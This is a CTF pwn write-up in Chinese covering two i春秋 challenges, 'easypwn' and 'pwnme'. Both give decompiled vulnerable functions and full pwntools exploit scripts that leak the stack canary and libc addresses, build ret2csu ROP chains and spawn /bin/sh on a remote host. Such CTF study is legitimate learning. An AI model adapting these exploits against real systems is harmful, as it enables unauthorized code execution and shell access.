i春秋pwnable-writeup

easypwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-50h]
unsigned __int64 v5; // [rsp+48h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&buf, 0, 0x40uLL);
puts("Hello!I am the smartest robot in the universe!\nWho are you?");
fflush(_bss_start);
read(0, &buf, 0x100uLL);
printf(
"Your name %s sounds so stupid!\nBut you don't looks like a fool,isn't it?\nso why don't tell me your real name?\n",
&buf);
fflush(_bss_start);
read(0, &buf, 0x100uLL);
puts("Oh!This one is better,nice to meet you!\nGoodbye!See you again!");
return __readfsqword(0x28u) ^ v5;
}

64位程序,开启了canary和nx防护。
利用思路如下:
1.通过第一次的输入,覆盖canary高位的第一个字节为\x0a,利用printf中的%s,将canary的值打印出来。
2.由于题目没有给出动态库。可以通过puts泄露got表项内容,通过比对获知目标机器使用的动态库,或者写leak函数,结合pwntools的DynELF,泄露库中函数地址。
3.通过第二次溢出,构造ROPchain,利用read读取/bin/sh到bss段,接着调用system,获取shell。
完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python 
from pwn import *
#context.log_level="debug"
a=remote("106.75.2.53",10002)
elf=ELF("./easypwn")
pop_rdi_ret=0x4007f3 #pop rdi ret
def leak(addr):
a.recvuntil("Who are you?\n")
payload='A'*72
a.sendline(payload)
a.recvuntil("A"*72)
canary=u64(a.recv(8))-0xa
a.recv()
payload='A'*72+p64(canary)
payload+='B'*8 # fake rbp
payload+=p64(pop_rdi_ret)
payload+=p64(addr)
payload+=p64(elf.plt["puts"])
payload+=p64(0x4005D0)# start address
a.sendline(payload)
a.recvuntil("Oh!This one is better,nice to meet you!\nGoodbye!See you again!\n")
data=""
up=""
while True:
c=a.recv(1)
if up=="\n" and c =="H":
data=data[:-1]
data=data+"\x00"
break
else:
data+=c
up=c
return data[:4]

d=DynELF(leak,elf=elf)
system_addr=d.lookup("system","libc")
#libc=LibcSearcher("system",system_addr)
print("system_addr = "+hex(system_addr))
read_got=elf.got["read"]
a.recvuntil("Who are you?\n")
payload='A'*72
a.sendline(payload)
a.recvuntil("A"*72)
canary=u64(a.recv(8))-0xa
a.recv()
#ret2csu
payload='A'*72
payload+=p64(canary)
payload+='B'*8
payload+=p64(0x4007EA)
payload+=p64(0)
payload+=p64(1)
payload+=p64(read_got)
payload+=p64(10)
payload+=p64(0x0000000000601060)
payload+=p64(0)
payload+=p64(0x00000000004007D0)
payload+='A'*56
payload+=p64(pop_rdi_ret)
payload+=p64(0x0000000000601060)
payload+=p64(system_addr)
payload+=p64(pop_rdi_ret)

a.sendline(payload)
sleep(0.1)
a.sendline("/bin/sh\x00")
a.interactive()

pwnme

程序中存在格式化串漏洞,栈溢出,整型溢出。做法有多种。

这里存在格式化串漏洞:

1
2
3
4
5
int __fastcall sub_400AD1(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
printf(&formata);
return printf((const char *)&a9 + 4);
}

这里有整数溢出:

由于char是8位,则输入的字节个数超过256即可绕过

这里有栈溢出:

1
2
3
4
5
6
void *__fastcall sub_400A90(const void *a1, int a2)
{
char s; // [rsp+10h] [rbp-20h]
memset(&s, 0, 0x14uLL);
return memcpy(&s, a1, a2);#溢出了
}

这里单独使用栈溢出来做。
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
#a=process("./pwnme")
a=remote("106.75.2.53","10006")
offset=40
elf=ELF("./pwnme")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
pop_rdi_ret=0x400ed3
length=260
def init():
a.recvuntil("Input your username(max lenth:40): \n")
a.sendline("a")
a.recvuntil("Input your password(max lenth:40): \n")
a.sendline("a")
a.recvuntil(">")
a.sendline("2")
a.recvuntil("please input new username(max lenth:20): \n")
a.sendline("a")
a.recvuntil("please input new password(max lenth:20): \n")

init()
payload='A'*40
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(0x400770)#start_addr
payload+='A'*(length-len(payload))
a.sendline(payload)
puts_addr=u64(a.recvuntil("\n",drop=True).ljust(8,"\x00"))
print "puts_addr = "+ str(hex(puts_addr))
init()
libc=LibcSearcher("puts",puts_addr)
system_addr=puts_addr-libc.dump("puts")+libc.dump("system")
bin_sh=puts_addr-libc.dump("puts")+libc.dump("str_bin_sh")
print hex(system_addr)
read_got=elf.got["read"]
payload='A'*40
payload+=p64(0x400eca)
payload+=p64(0)
payload+=p64(1)
payload+=p64(read_got)
payload+=p64(10)
payload+=p64(elf.bss())
payload+=p64(0)
payload+=p64(0x400eb0)
payload+='A'*56
payload+=p64(pop_rdi_ret)
payload+=p64(elf.bss())
payload+=p64(system_addr)
payload+=p64(0x400770)
payload+='A'*(length-len(payload))
a.sendline(payload)
sleep(0.1)
a.sendline("/bin/sh\x00")
a.interactive()